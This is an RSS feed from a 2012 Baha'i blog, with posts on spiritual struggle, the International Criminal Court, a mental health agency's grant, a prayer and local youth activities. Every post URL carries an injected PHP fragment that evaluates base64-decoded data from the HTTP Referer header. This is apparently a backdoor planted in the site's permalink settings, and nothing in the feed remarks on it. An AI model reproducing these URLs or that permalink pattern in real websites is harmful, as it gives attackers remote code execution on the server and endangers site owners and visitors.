Baha'i Views http://www.bahaiviews.net Tue, 15 May 2012 03:23:32 +0000 en hourly 1 http://wordpress.org/?v=3.3.2 On a Celebration of the Struggle to Arise: We have capacity http://www.bahaiviews.net/2012/05/14/on-a-celebration-of-the-struggle-to-arise-we-have-capacity/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.bahaiviews.net/2012/05/14/on-a-celebration-of-the-struggle-to-arise-we-have-capacity/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Tue, 15 May 2012 03:23:32 +0000 george wesley dannells http://www.bahaiviews.net/?p=22384

‘Human progress is neither automatic nor inevitable… Every step toward the goal of justice requires sacrifice, suffering, and struggle; the tireless exertions and passionate concern of dedicated individuals.’ MLK jr. …….. ‘Our duty is to encourage everyone in his struggle to live up to his own highest idea, and strive at the same time to make the ideal as near as possible to the Truth.’ Swami Vivekananda ………. ‘The struggle itself towards the heights is enough to fill a man’s heart. One must imagine Sisyphus happy.’ Albert Camus

This is Jamie’s description for his photo set. Life is a struggle, but I argue that the outcome is assured. The Kingdom of God is being established on earth as it is in heaven. We may contribute towards the erection of that Kingdom or not. We may be personally uplifted by the effort to arise or not, depending on the spiritual practices we employ to draw on the strength that God has given us. We have the capacity. -gw

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Sizing up our actual practices to see if it's in accordance with our beliefs. It's works for conducting parent-infant groups to promote child-parent attachment, and it works for life. Are things not working out like they should? Perhaps it's because our beliefs aren't matching up with our actions. Tweety Yates comments at the Early Childhood Conference in Tacoma may seem a bit out of context here, but I think not. The learning culture that characterizes the Baha'i institute process means that we are constantly reviewing our progress to make further refinements, and those refinements are based on our beliefs, our guidance, our texts. -gw
 

Say, O brethren! Let deeds, not words, be your adorning.

]]> http://www.bahaiviews.net/2012/05/14/on-believing-is-doing-a-continual-refinement/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 On the Role of the International Criminal Court: Faith in the possibility of justice being done http://www.bahaiviews.net/2012/05/14/on-the-role-of-the-international-criminal-court-faith-in-the-possibility-of-justice-being-done/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.bahaiviews.net/2012/05/14/on-the-role-of-the-international-criminal-court-faith-in-the-possibility-of-justice-being-done/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Mon, 14 May 2012 21:03:12 +0000 george wesley dannells http://www.bahaiviews.net/?p=22380
The International Criminal Court (ICC) was established on July 1, 2002 with the intention of acting as a permanent tribunal for heinous international offenses (crimes against humanity, genocide, war crimes, and more recently, crimes of aggression).  Unlike the International Court of Justice—the judicial branch of the United Nations—the scope of cases, jurisdiction and mandate of the ICC are extremely narrow.   Given its limited function, it is not surprising that the ICC has only opened 7 cases and indicted 28 people.   The utility of such a court has been the subject of much debate and continues to spark controversy in political, military and academic circles.

 

Throughout the twentieth century, the international community contemplated the establishment of a permanent tribunal as a means to bring justice for serious international crimes and to hold accountable the perpetrators of those crimes.  Particularly after WWII, and then again following the genocides in the former Yugoslavia and Rwanda, the outrage against these criminals drove many countries to take action.  Ad hoc tribunals were established to hold accountable those responsible for war crimes and massive ethnic killings.  Although these temporary courts were deemed successful in their limited scope, further atrocities demanded consideration of a permanent judicial body that could potentially deter future crimes. 

Crime is down in Tacoma, I read in the paper this morning. But globally, crimes against humanity, genocide, war crimes, and more recently, crimes of aggression are not. A man held responsible for terrible crimes in Sierra Leone is up for sentencing. Permanent international institutions for meting out justice were foreseen in the Baha'i Writings. -gw
Olara Otunna, the UN Under-Secretary-General for Children and Armed Conflict, one of two keynote speakers, stressed the importance of the International Criminal Court as a mechanism for accountability, truth-seeking, and healing in cases of extreme conflict — especially those involving children.xHe also said that religious groups have a key role to play in healing and reconciliation. He said, for example, that religious leaders and women's groups were among the first actors to denounce rebel atrocities in Sierra Leone .

Further, Mr. Otunna said, faith and religion were often the last resort of innocent people in the face of extreme conflict.

http://www.onecountry.org/e154/e15412as_ICC_meeting_story.htm

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The little ol’ community mental health agency I worked for since the early 90′s has been awarded a 1.8 million dollar grant from the feds, the only community mental health agency on a list of 26 grand recipients. The KMH director wrote: “I am very confident we will develop a nationally replicable model to help fix the health care system and advance health care reform.” Let’s hear it for health care reform and Kitsap Mental Health!
Over coffee this noon I read an article that says that the movement towards universal health care is strong in many developing countries.
]]> http://www.bahaiviews.net/2012/05/14/on-fixing-the-health-care-system-a-community-mental-health-agency-up-to-the-task/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 On an Alternative to Rushing Around: Refresh my Heart, O my God http://www.bahaiviews.net/2012/05/12/on-an-alternative-to-rushing-around-refresh-my-heart-o-my-god/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.bahaiviews.net/2012/05/12/on-an-alternative-to-rushing-around-refresh-my-heart-o-my-god/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Sat, 12 May 2012 16:39:57 +0000 george wesley dannells http://www.bahaiviews.net/?p=22376

Life is such a rush. Take this Muskkrat Sally, for example. Redwing blackbirds fuss and fight. Humans, on the other hand, take it easy. – gw

Refresh my heart, O my God, with the living waters of Thy love and give me a draught, O my Master, from the chalice of Thy tender mercy. Let me abide, O my Lord, within the habitation of Thy glory, and suffer me, O my God, to emerge from the darkness in which Thy divine obscurity is shrouded. Enable me to partake of every good Thou hast vouchsafed unto Him Who is the Point and unto such as are the exponents of His Cause, and ordain for me that which beseemeth Thee and well becometh Thy station. Do Thou graciously forgive me for the things that I have wrought in Thy holy presence, and look not upon me with the glance of justice, but rather deliver me through Thy grace, treat me with Thy mercy and deal with me according to Thy bountiful favours, as is worthy of Thy glory.

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]]> http://www.bahaiviews.net/2012/05/12/on-better-than-any-party-this/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 On Outdoors, a Place to Visit: And have spiritual conversations http://www.bahaiviews.net/2012/05/12/on-outdoors-a-place-to-visit-and-have-spiritual-conversations/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://www.bahaiviews.net/2012/05/12/on-outdoors-a-place-to-visit-and-have-spiritual-conversations/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Sat, 12 May 2012 16:12:07 +0000 george wesley dannells http://www.bahaiviews.net/?p=22372  
Thursday night I set up the canopy at the Tacoma Invaders practice and got a charcoal grill going. That's all I had to do. Kim took over, grilling 28 smoked sausage and polish dogs for families and players. I had a chance to talk junior youth with Coach Bruce, and visited with Quanda, Sharp, Mookie, Charles, Kim, Gianna, Isaiah, Eliza, Matt, Karen…. Mookie could come to junior youth Friday, if can be picked up. Trying to figure out when to have the Book 1 so Sharp can attend.  -gw

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